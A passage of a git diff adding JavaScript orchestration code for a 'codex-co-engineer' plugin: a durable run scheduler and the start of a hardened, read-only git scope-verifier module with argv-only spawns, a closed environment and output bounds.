assignment_id: assignment.assignment_id, + code: cancelAttempted === true ? 'safe_cancel_unconfirmed' : 'dispatch_failed', + required, + }, + write_scope: assignment.write_scope, + }; + } + if (cancelAttempted === true) { + const confirmed = inspected?.cancelled === true + && inspected?.status === 'cancelled' + && inspected?.task_id === assignment.task_id; + return { + access: assignment.access, + assignment_id: assignment.assignment_id, + attention: null, + cancel_confirmed: confirmed, + cursor: inspected?.cursor ?? null, + dispatched: true, + fallback: false, + model: assignment.model, + provider: assignment.provider, + replayed: false, + required, + role: assignment.role, + starting_ref: assignment.starting_ref ?? null, + status: confirmed ? 'cancelled' : 'unresolved', + task_id: assignment.task_id, + unresolved: confirmed ? null : { + assignment_id: assignment.assignment_id, + code: 'safe_cancel_unconfirmed', + required, + }, + write_scope: assignment.write_scope, + }; + } + const status = typeof inspected?.status === 'string' && capturedIncludes(RECONSTRUCT_LANE_STATUSES, inspected.status) + ? inspected.status + : 'unresolved'; + return { + access: assignment.access, + assignment_id: assignment.assignment_id, + attention: inspected?.attention ?? null, + cancel_confirmed: null, + cursor: inspected?.cursor ?? null, + dispatched: true, + fallback: false, + model: assignment.model, + provider: assignment.provider, + replayed: false, + required, + role: assignment.role, + starting_ref: assignment.starting_ref ?? null, + status, + task_id: assignment.task_id, + unresolved: status === 'unresolved' + ? { assignment_id: assignment.assignment_id, code: 'inspect_failed', required } + : null, + write_scope: assignment.write_scope, + }; +} + +async function inspectPlanLane(inspectTask, plan, assignment) { + try { + return await inspectTask({ + run_id: plan.run_id, + assignment_id: assignment.assignment_id, + task_id: assignment.task_id, + role: assignment.role, + provider: assignment.provider, + }); + } catch { + return { task_id: assignment.task_id, status: 'unresolved' }; + } +} + +async function reconstructPlanReceipt(plan, inspectTask, clock, status = 'inspected') { + const lanes = []; + for (const assignment of plan.assignments) { + const dispatched = assignmentWasDispatched(plan, assignment); + const inspected = dispatched === true + ? await inspectPlanLane(inspectTask, plan, assignment) + : null; + lanes.push(reconstructLane(assignment, inspected, { dispatched })); + } + return freezeData({ + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status, + run_id: plan.run_id, + base_sha: plan.base_sha, + created: false, + lanes, + complete_candidate_blocked: planWasDispatched(plan) !== true || lanes.some((lane) => lane.required + && (lane.status === 'unresolved' || lane.status === 'failed')), + wake: false, + remote_mutated: false, + observed_at: clock(), + }); +} + +function wrapDurableScheduler({ + inner, schedulerRoot, inspectTask, cancelTask, clock, beforeProviderDispatch, +}) { + return { + async submitAssignments(request) { + const identity = schedulerPlanIdentity(request); + const existing = await loadSchedulerPlan(schedulerRoot, request.run_id); + if (existing !== null) { + if (existing.plan_identity !== identity || existing.base_sha !== request.base_sha) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + return reconstructPlanReceipt(existing, inspectTask, clock, 'idempotent'); + } + const snapshot = pendingRunCatalogSnapshots.get(request.run_id) ?? null; + const catalogPayload = boundCatalogSnapshotPayload(snapshot); + await persistSchedulerPlan(schedulerRoot, { + run_id: request.run_id, + base_sha: request.base_sha, + assignments: request.assignments, + plan_identity: identity, + catalog_digest: catalogPayload?.catalog_digest ?? null, + catalog_snapshot: catalogPayload, + dispatched: false, + assignment_dispatch: assignmentDispatchFacts(request.assignments), + }); + pendingRunCatalogSnapshots.delete(request.run_id); + if (typeof beforeProviderDispatch === 'function') { + await beforeProviderDispatch(request); + } + const receipt = await inner.submitAssignments(request); + const assignmentDispatch = dispatchFactsFromReceipt(request.assignments, receipt); + await persistSchedulerPlan(schedulerRoot, { + run_id: request.run_id, + base_sha: request.base_sha, + assignments: request.assignments, + plan_identity: identity, + catalog_digest: catalogPayload?.catalog_digest ?? null, + catalog_snapshot: catalogPayload, + dispatched: assignmentDispatch.every((fact) => fact.dispatched === true), + assignment_dispatch: assignmentDispatch, + }); + return receipt; + }, + async resumeAssignments(request) { + try { + return await inner.resumeAssignments(request); + } catch (error) { + if (!(error instanceof RunContractV1Error) || error.code !== 'scheduler_run_unknown') { + throw error; + } + const plan = await loadSchedulerPlan(schedulerRoot, request.run_id); + if (plan === null) throw error; + return reconstructPlanReceipt(plan, inspectTask, clock, 'inspected'); + } + }, + async cancelAssignments(request) { + try { + return await inner.cancelAssignments(request); + } catch (error) { + if (!(error instanceof RunContractV1Error) || error.code !== 'scheduler_run_unknown') { + throw error; + } + const plan = await loadSchedulerPlan(schedulerRoot, request.run_id); + if (plan === null) throw error; + const selected = new Set(request.assignment_ids ?? []); + const lanes = []; + let unconfirmed = false; + for (const assignment of plan.assignments) { + const selectedLane = selected.has(assignment.assignment_id); + const dispatched = assignmentWasDispatched(plan, assignment); + if (dispatched !== true) { + const lane = reconstructLane(assignment, null, { + cancelAttempted: selectedLane, + dispatched: false, + }); + if (selectedLane && lane.cancel_confirmed !== true) unconfirmed = true; + lanes.push(lane); + continue; + } + if (!selectedLane) { + const inspected = await inspectPlanLane(inspectTask, plan, assignment); + lanes.push(reconstructLane(assignment, inspected, { dispatched: true })); + continue; + } + let inspected; + try { + inspected = await cancelTask({ + run_id: plan.run_id, + assignment_id: assignment.assignment_id, + task_id: assignment.task_id, + role: assignment.role, + provider: assignment.provider, + }); + } catch { + inspected = { task_id: assignment.task_id, status: 'unresolved', cancelled: false }; + } + const lane = reconstructLane(assignment, inspected, { + cancelAttempted: true, + dispatched: true, + }); + if (lane.cancel_confirmed !== true) unconfirmed = true; + lanes.push(lane); + } + const blocked = unconfirmed || planWasDispatched(plan) !== true; + return freezeData({ + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: blocked ? 'inspected' : 'cancelled', + run_id: plan.run_id, + base_sha: plan.base_sha, + created: false, + lanes, + complete_candidate_blocked: blocked, + wake: false, + remote_mutated: false, + observed_at: clock(), + }); + } + }, + }; +} + +export async function createDurableRunSeams(options = {}) { + assertPlainObject(options, 'injected_dependency_invalid', 'options', + 'Durable run seams'); + const delegateTask = options.delegateTask; + const inspectTask = options.inspectTask; + const cancelTask = options.cancelTask; + const settleLocalTaskLifecycle = options.settleLocalTaskLifecycle; + const cleanupLocalTaskLifecycle = options.cleanupLocalTaskLifecycle; + const clock = options.clock ?? (() => new Date().toISOString()); + if (typeof delegateTask !== 'function' || typeof inspectTask !== 'function' + || typeof cancelTask !== 'function' || typeof settleLocalTaskLifecycle !== 'function' + || typeof cleanupLocalTaskLifecycle !== 'function') { + failAdapter('injected_dependency_invalid', 'options', CONTENT_FREE.injected_dependency_invalid); + } + const root = typeof options.root === 'string' ? options.root : null; + const storeRoot = await ensurePrivateRoot( + options.storeRoot ?? (root ? path.join(root, 'runs', 'store') : null), + ); + const journalRoot = await ensurePrivateRoot( + options.journalRoot ?? (root ? path.join(root, 'runs', 'journal') : null), + ); + const attentionRoot = await ensurePrivateRoot( + options.attentionRoot ?? (root ? path.join(root, 'runs', 'attention') : null), + ); + const schedulerRoot = await ensurePrivateRoot( + options.schedulerRoot ?? (root ? path.join(root, 'runs', 'scheduler') : null), + ); + const artifactRoot = await ensurePrivateRoot( + options.artifactRoot ?? (root ? path.join(root, 'runs', 'artifacts') : null), + ); + const runStore = await openRunStore(storeRoot); + const aggregateAnchor = options.aggregateAnchor ?? missingAggregateAnchor(); + const runJournal = wrapDurableJournal({ + journalRoot, store: runStore, anchor: aggregateAnchor, + }); + const attentionBatch = await openAttentionRoot(attentionRoot); + const deliverSameSessionReply = typeof options.deliverSameSessionReply === 'function' + ? options.deliverSameSessionReply + : (typeof root === 'string' + ? (identity) => deliverSupervisorSameSessionReplyV1(root, identity) + : null); + const cancelSameSessionReply = typeof options.cancelSameSessionReply === 'function' + ? options.cancelSameSessionReply + : (identity) => cancelSupervisorSameSessionReplyV1(cancelTask, identity); + const attention = bindAttentionReplyDelivery(attentionBatch, { + deliver: deliverSameSessionReply, + cancel: cancelSameSessionReply, + }); + const artifactBridge = durableArtifactBridge(clock, artifactRoot); + const innerScheduler = createRunScheduler({ + delegateTask, + inspectTask, + cancelTask, + clock, + }); + const scheduler = wrapDurableScheduler({ + inner: innerScheduler, + schedulerRoot, + inspectTask, + cancelTask, + clock, + beforeProviderDispatch: options.beforeProviderDispatch, + }); + const runtime = createRunRuntime({ + runStore, + runJournal, + aggregateAnchor, + attentionBatch: attention, + scheduler, + artifactBridge, + settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle, + clock, + }); + return capturedFreeze({ + runtime, + attention, + scheduler, + runStore, + artifactBridge, + }); +} + +export function classifyDeniedGitOperationV1(runId, operation) { + return classifyGitOperationV1({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'platform', + operation, + identity: { + run_id: runId, + assignment_id: 'platform-lane', + base_sha: 'a'.repeat(40), + repository_path: '/run-tool-adapter/repository', + }, + }); +} + +capturedFreeze(denyRunToolRemoteMutationV1); +capturedFreeze(classifyRunToolCall); +capturedFreeze(describeRunToolAdapterV1); +capturedFreeze(createRunToolAdapter); +capturedFreeze(createInProcessRunSeams); +capturedFreeze(createDurableRunSeams); +capturedFreeze(classifyDeniedGitOperationV1); +capturedFreeze(deliverSupervisorSameSessionReplyV1); +capturedFreeze(cancelSupervisorSameSessionReplyV1); diff --git a/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs new file mode 100644 index 0000000..1e394d7 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs @@ -0,0 +1,1443 @@ +// ScopeVerifierV1 — independently derived changed-path ownership, read-only +// mutation, and merge-commit facts (ADR 0001 identifiers +// `disjoint_writer_scopes`, `read_only_verification`, +// `candidate_git_policy_revalidation`, `bounded_evidence`, +// `gate_a_scope_and_read_only_detection`). +// +// Additive v3 module for W16-P15. It consumes only trusted P14 GitIdentityV1 +// evidence plus P13 VerifiedFactV1 / EvidenceDiscrepancyV1 snapshots and +// never treats provider claims as authority. It observes the local repository +// through argv execution (`/usr/bin/git`, no shell) and binds content-free +// git_diff / head_sha facts (`platform_git` with `scope_match`, +// `read_only_no_changes`, and `merge_commit_absence`). It does not own P16A +// trusted command policy or runner, P28 Git mutation, P30/P35 composition, +// server/supervisor integration, network, or merge/rebase/push/PR. +// +// Observation is fail-closed: spawn is argv-only, the child environment is +// the P14 closed map (system/global/caller config and protocols disabled), +// closed -c overrides disable fsmonitor/fileMode hiding on every spawn, +// output/time/command counts are bounded, typed errors never echo hostile +// bytes, and a pre/post fingerprint mismatch is an observation race. Ignored +// worktree paths, assume-unchanged/skip-worktree flags, HEAD parents +// (including base_sha===head_sha), unchanged-source copies, and untracked +// lstat proofs are observed through Git-native or lstat evidence. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { lstat as nodeLstat } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, + MAX_DURATION_MS, + MAX_SEQUENCE, +} from './evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, + GIT_IDENTITY_RESULT_ALLOWED_KEYS, + GIT_IDENTITY_SCHEMA_ID, + GIT_IDENTITY_STATUSES, + GIT_IDENTITY_VERSION, + MAX_GIT_ARGS, + MAX_GIT_ARG_BYTES, + MAX_GIT_COMMANDS, + MAX_GIT_TIME_MS, + MAX_GIT_TOTAL_TIME_MS, + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from './git-identity.mjs'; +import { + capturedDescriptor, + capturedFreeze, + capturedHasOwn, + capturedOwnKeys, + isKnownAccess, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + compiledRepoGlobMatchesPath, + compileRepoGlob, + assertRepoRelativePath, + REPO_PATH_BATCH_MAX, + RepoPathMatcherError, +} from './repo-path-matcher.mjs'; +import { + RunContractV1Error, + assertWriteScopePatterns, + isAssignmentId, + isSha40, + SCOPE_MAX_PATTERNS, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const SCOPE_VERIFIER_SCHEMA_ID = 'codex-co-engineer.scope-verifier.v1'; +export const SCOPE_VERIFIER_VERSION = 1; + +export const MAX_SCOPE_OUTPUT_BYTES = 262_144; +export const MAX_CHANGED_PATHS = REPO_PATH_BATCH_MAX; +export const MAX_NEW_COMMITS = 64; +export const MAX_OTHER_WRITE_SCOPES = 7; + +export const SCOPE_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'identity_request', 'identity', 'access', 'write_scope', 'other_write_scopes', +]); +export const SCOPE_REQUEST_REQUIRED_KEYS = SCOPE_REQUEST_ALLOWED_KEYS; +export const SCOPE_OTHER_SCOPE_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'write_scope', +]); +export const SCOPE_RESULT_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'facts', 'discrepancies', 'observation', +]); +export const SCOPE_OBSERVATION_ALLOWED_KEYS = capturedFreeze([ + 'repository_path', 'git_dir', 'base_sha', 'head_sha', 'access', + 'parent_count', 'new_commit_count', 'path_count', 'path_set_digest', + 'rename_count', 'copy_count', 'dirty', 'duration_ms', +]); +export const SCOPE_OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); +export const SCOPE_VERIFIER_STATUSES = capturedFreeze(['failed', 'verified']); + +export const SCOPE_VERIFIER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'conflicting_id', 'duplicate_id', 'env_influence_denied', + 'exotic_prototype_denied', 'git_execution_failed', 'hostile_name_denied', + 'identity_mismatch', 'invalid_format', 'invalid_type', 'missing_key', + 'non_enumerable_property_denied', 'observation_race', 'own_undefined_denied', + 'out_of_range', 'proxy_denied', 'symbol_key_denied', 'unknown_key', + 'unverified_identity', +]); + +const SCOPE_GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', +]); + +const SCOPE_GIT_RUNTIME_OVERRIDES = capturedFreeze([ + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', + '-c', 'core.fileMode=true', + '-c', 'diff.external=', +]); + +const FORBIDDEN_ENV_KEYS = capturedFreeze([ + 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', + 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', + 'GIT_NAMESPACE', 'GIT_CONFIG', 'GIT_CONFIG_COUNT', 'GIT_CONFIG_PARAMETERS', + 'GIT_REPLACE_REF_BASE', 'GIT_GRAFT_FILE', 'GIT_QUARANTINE_PATH', + 'GIT_PROXY_COMMAND', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GIT_TRACE', + 'GIT_TRACE2', 'GIT_EXEC_PATH', 'GIT_TEMPLATE_DIR', +]); + +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, 0x2215, 0x27cb, 0x27cd, 0x29f8, 0xfe68, 0xff0f, 0xff3c, +]); +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_MODE_PATTERN = /^[0-7]{6}$/u; +const PRIVATE_DIFF_STATUS_PATTERN = /^[ADMTRCUBX][0-9]{0,3}$/u; +const ZERO_SHA = '0'.repeat(40); +const MODE_SYMLINK = '120000'; +const MODE_GITLINK = '160000'; +const MODE_MISSING = '000000'; + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_FREEZE = Object.freeze; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const MATH_FLOOR = Math.floor; +const MATH_MAX = Math.max; +const MATH_MIN = Math.min; +const ARRAY_IS_ARRAY = Array.isArray; +const ARRAY_PUSH = Array.prototype.push; +const ARRAY_SORT = Array.prototype.sort; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const BUFFER_EQUALS = NodeBuffer.prototype.equals; +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const SPAWN = nodeSpawn; +const LSTAT = nodeLstat; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const REFLECT_APPLY = Reflect.apply; +const STRING_FROM_CODE_POINT = String.fromCodePoint; +const IS_PROXY = utilTypes.isProxy; + +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); +} + +function asContractError(error, path, code = 'git_execution_failed') { + if (error instanceof RunContractV1Error) return error; + return contractError(code, path, `${path} could not complete a git observation.`); +} + +function assertOwnedHandle(value, path) { + if (value === null || (typeof value !== 'object' && typeof value !== 'function')) { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + if (IS_PROXY(value)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; git observation accepts owned process handles only.`); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function readHandleField(handle, key, path) { + assertOwnedHandle(handle, path); + let value; + try { + value = handle[key]; + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + if (value !== null && value !== undefined + && (typeof value === 'object' || typeof value === 'function')) { + assertOwnedHandle(value, path); + } + return value; +} + +function invokeHandle(handle, key, args, path) { + const method = readHandleField(handle, key, path); + if (typeof method !== 'function') { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + return REFLECT_APPLY(method, handle, args); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function ownedChunk(chunk, path) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + fail('git_execution_failed', path, `${path} could not complete a git observation.`); +} + +function assertClosedKeySet(input, allowedKeys, path) { + let ownKeys; + try { + ownKeys = capturedOwnKeys(input); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + fail('symbol_key_denied', path, + `${path} carries a symbol property; scope records are direct JSON only.`); + } + let allowed = false; + for (let allowedIndex = 0; allowedIndex < allowedKeys.length; allowedIndex += 1) { + if (allowedKeys[allowedIndex] === key) { + allowed = true; + break; + } + } + if (!allowed) { + fail('unknown_key', path, `${path} carries a key outside the closed vocabulary.`); + } + } +} + +function assertNestedClosedKeys(input, key, allowedKeys, path) { + const descriptor = capturedDescriptor(input, key); + if (descriptor === undefined) return; + if (descriptor.get !== undefined || descriptor.set !== undefined) return; + const value = descriptor.value; + if (value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) return; + try { + if (IS_PROXY(value)) return; + } catch { + return; + } + assertClosedKeySet(value, allowedKeys, `${path}.${key}`); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${SCOPE_VERIFIER_SCHEMA_ID}); scope records have no hidden defaults.`); + } + } +} + +function digestCanonical(value) { + const canonical = canonicalJsonStringify(value); + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function digestBytes(text) { + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(text, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertClosedEnv(env, path) { + if (env === null || typeof env !== 'object' || ARRAY_IS_ARRAY(env)) { + fail('env_influence_denied', path, `${path} must be the closed git environment map.`); + } + for (let index = 0; index < FORBIDDEN_ENV_KEYS.length; index += 1) { + const key = FORBIDDEN_ENV_KEYS[index]; + if (capturedHasOwn(env, key)) { + fail('env_influence_denied', path, + `${path} must not carry git configuration, replace, graft, or directory overrides.`); + } + } +} + +function assertGitArgv(args, path) { + if (!ARRAY_IS_ARRAY(args)) fail('invalid_type', path, `${path} must be an argv array.`); + if (args.length > MAX_GIT_ARGS) { + fail('bounds_exceeded', path, `${path} exceeds the git argv arity cap.`); + } + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (typeof arg !== 'string' || arg.length === 0) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must be non-empty strings.`); + } + if (arg.includes('\0')) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must not contain NUL.`); + } + if (BUFFER_BYTE_LENGTH(arg) > MAX_GIT_ARG_BYTES) { + fail('bounds_exceeded', `${path}[${index}]`, `${path} exceeds the git argument byte cap.`); + } + } +} + +function decodeUtf8(buffer, path) { + let text; + try { + text = buffer.toString('utf8'); + } catch { + fail('git_execution_failed', path, `${path} produced an invalid git observation encoding.`); + } + let roundtrip; + try { + roundtrip = BUFFER_FROM(text, 'utf8'); + } catch { + fail('git_execution_failed', path, `${path} produced an invalid git observation encoding.`); + } + if (roundtrip.length !== buffer.length || !REFLECT_APPLY(BUFFER_EQUALS, roundtrip, [buffer])) { + fail('hostile_name_denied', path, `${path} produced a non-UTF-8 git observation.`); + } + return text; +} + +function createSession(spawnFn) { + const startedAt = Date.now(); + return { + spawn: spawnFn, + commands: 0, + startedAt, + deadlineAt: startedAt + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function assertDeadline(session, path) { + if (Date.now() >= session.deadlineAt) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } +} + +function remainingMs(session) { + const left = session.deadlineAt - Date.now(); + return left > 0 ? left : 0; +} + +function assertSessionBounds(session, path) { + if (session.commands >= MAX_GIT_COMMANDS) { + fail('bounds_exceeded', path, `${path} exceeds the git command-count cap.`); + } + assertDeadline(session, path); +} + +function listenStream(stream, event, handler, path) { + if (stream === undefined || stream === null) return; + invokeHandle(stream, 'on', [event, handler], path); +} + +function runGit(session, args, path) { + assertGitArgv(args, `${path}.args`); + assertSessionBounds(session, path); + const budget = remainingMs(session); + if (budget <= 0) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } + session.commands += 1; + const argv = [GIT_EXECUTABLE, ...SCOPE_GIT_ISOLATION_FLAGS, ...args]; + assertGitArgv(argv, `${path}.argv`); + const spawnOptions = { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + assertClosedEnv(spawnOptions.env, `${path}.env`); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv.slice(1), spawnOptions); + } catch { + reject(contractError( + 'git_execution_failed', path, `${path} could not start a git observation.`, + )); + return; + } + try { + assertOwnedHandle(child, path); + } catch (error) { + reject(asContractError(error, path)); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(asContractError(error, path)); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(contractError( + 'bounds_exceeded', path, `${path} exceeded a closed git output or time bound.`, + )); + }; + timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); + const onChunk = (target, getSize, setSize) => (chunk) => { + try { + const owned = ownedChunk(chunk, path); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_SCOPE_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [owned]); + } catch (error) { + finish(asContractError(error, path)); + } + }; + try { + listenStream( + readHandleField(child, 'stdout', path), + 'data', + onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; }), + path, + ); + listenStream( + readHandleField(child, 'stderr', path), + 'data', + onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; }), + path, + ); + invokeHandle(child, 'once', ['error', () => { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + }], path); + invokeHandle(child, 'once', ['close', (code, signal) => { + if (exceeded) return; + try { + if (Date.now() >= session.deadlineAt) { + finish(contractError( + 'bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`, + )); + return; + } + const stdoutBuffer = BUFFER_CONCAT(stdoutChunks); + const stderrBuffer = BUFFER_CONCAT(stderrChunks); + if (signal !== null && signal !== undefined) { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: decodeUtf8(stdoutBuffer, path), + stderr: decodeUtf8(stderrBuffer, `${path}.stderr`), + }); + } catch (error) { + finish(asContractError(error, path)); + } + }], path); + } catch (error) { + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(asContractError(error, path)); + } + }); +} + +async function gitRequired(session, args, path) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + return result.stdout; +} + +function repoFlags(repositoryPath, gitDir) { + return capturedFreeze(['-C', repositoryPath, '--git-dir', gitDir]); +} + +function parseOptions(options, path = 'options') { + if (options === undefined) { + return freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn: SPAWN }); + } + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertClosedKeySet(options, SCOPE_OPTIONS_ALLOWED_KEYS, path); + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function') { + fail('invalid_type', `${path}.spawn`, `${path}.spawn must be a spawn function.`); + } + assertNotProxy(spawn, `${path}.spawn`); + } + return freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn }); +} + +function prependClosedGitOverrides(args) { + if (!ARRAY_IS_ARRAY(args)) return args; + const isolated = []; + for (let index = 0; index < SCOPE_GIT_RUNTIME_OVERRIDES.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, isolated, [SCOPE_GIT_RUNTIME_OVERRIDES[index]]); + } + for (let index = 0; index < args.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, isolated, [args[index]]); + } + return isolated; +} + +function wrapIsolatedSpawn(spawnFn) { + return (command, args, options) => spawnFn(command, prependClosedGitOverrides(args), options); +} + +function splitNul(text) { + if (typeof text !== 'string') return []; + if (text.length === 0) return []; + const parts = text.split('\0'); + if (parts.length > 0 && parts[parts.length - 1] === '') parts.pop(); + return parts; +} + +function assertObservedPath(value, path) { + if (typeof value !== 'string' || value.length === 0) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + if (value.includes('\0') || value.includes('\r') || value.includes('\\')) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + try { + assertRepoRelativePath(value, 'path'); + } catch (error) { + if (error instanceof RepoPathMatcherError || error instanceof RunContractV1Error) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + throw error; + } + let index = 0; + while (index < value.length) { + const codePoint = value.codePointAt(index); + if (codePoint === undefined) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + for (let look = 0; look < SEPARATOR_LOOKALIKES.length; look += 1) { + if (SEPARATOR_LOOKALIKES[look] === codePoint) { + fail('hostile_name_denied', path, `${path} contains a confusable path separator.`); + } + } + if (STRING_FROM_CODE_POINT(codePoint).normalize('NFC') + !== STRING_FROM_CODE_POINT(codePoint)) { + fail('hostile_name_denied', path, `${path} must use NFC-normalized path segments.`); + } + index += codePoint > 0xffff ? 2 : 1; + } + if (value.normalize('NFC') !== value) { + fail('hostile_name_denied', path, `${path} must use NFC-normalized path segments.`); + } + return value; +} + +function addUniquePath(paths, seen, value, path) { + const observed = assertObservedPath(value, path); + if (seen.has(observed)) return; + if (paths.length >= MAX_CHANGED_PATHS) { + fail('bounds_exceeded', path, `${path} exceeds the changed-path cap.`); + } + seen.add(observed); + REFLECT_APPLY(ARRAY_PUSH, paths, [observed]); +} + +function isRenameOrCopyStatus(status) { + return status.charCodeAt(0) === 0x52 || status.charCodeAt(0) === 0x43; +} + +function parseDiffTreeRaw(stdout, path) { + const parts = splitNul(stdout); + const records = []; + const paths = []; + const seen = new Set(); + let renameCount = 0; + let copyCount = 0; + let index = 0; + while (index < parts.length) { + const header = parts[index]; + index += 1; + if (typeof header !== 